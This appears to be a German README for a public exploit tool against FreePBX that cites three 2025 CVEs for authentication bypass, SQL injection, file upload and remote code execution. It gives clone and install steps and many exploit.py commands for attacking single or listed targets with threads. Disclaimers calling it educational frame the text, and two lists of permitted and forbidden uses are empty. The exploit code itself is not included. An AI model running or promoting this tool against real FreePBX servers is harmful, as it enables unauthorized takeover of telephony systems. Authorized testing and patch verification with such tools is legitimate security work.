
Diese Schwachstelle ermöglicht sowohl authentifizierten als auch nicht authentifizierten Remote-Angreifern, Remote-Code auf anfälligen FreePBX-Instanzen auszuführen. Diese Probleme wurden in FreePBX-Versionen 16.0.42, 16.0.92, 17.0.6 und 17.0.22 behoben. Es ist wichtig zu beachten, dass diese Authentifizierungs-Bypass-Schwachstelle nicht in der Standard-FreePBX-Konfiguration vorhanden ist.
NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS
DURCH DIE NUTZUNG DIESES TOOLS STIMMEN SIE ZU, ES LEGAL UND ETHISCH ZU VERWENDEN.
Ein Tool zur Sicherheitsbewertung zur Erkennung kritischer Schwachstellen in FreePBX-Systemen.
requirements.txt für Abhängigkeitengit clone https://github.com/BimBoxH4/CVE-2025-66039_CVE-2025-61675_CVE-2025-61678_reePBX.git
cd CVE-2025-66039_CVE-2025-61675_CVE-2025-61678_reePBX
pip3 install -r requirements.txt
# Einzelner Ziel-Scan
python3 exploit.py -u http://target-ip
# Mehrere Ziele mit Threads
python3 exploit.py -l targets.txt -t 10
# Debug-Modus
python3 exploit.py -u http://target-ip -d
# Ergebnisse speichern
python3 exploit.py -l targets.txt -o results.txt
# Alle Prüfungen (Standard)
python3 exploit.py -u http://target-ip --mode all
# Nur Datei-Upload
python3 exploit.py -u http://target-ip --mode upload
# Nur SQL-Injection
python3 exploit.py -u http://target-ip --mode sql
# Nur Auth-Bypass
python3 exploit.py -u http://target-ip --mode auth
| Argument | Beschreibung |
|---|---|
-u, --url | Einzelne Ziel-URL |
-l, --list | Datei mit Ziel-URLs (eine pro Zeile) |
-t, --threads | Anzahl der Threads (Standard: 1) |
-o, --output | Ausgabedatei für Ergebnisse |
-d, --debug | Debug-Modus aktivieren |
--mode | Scan-Modus: all, upload, sql, auth |
http://192.168.1.100
http://192.168.1.101
https://freepbx.example.com
# Kommentare beginnen mit #
Dieses Tool nur verwenden, wenn:
Niemals:
⚠️ DENKEN SIE DARAN: Unautorisierter Zugriff ist illegal. Verantwortungsvoll nutzen!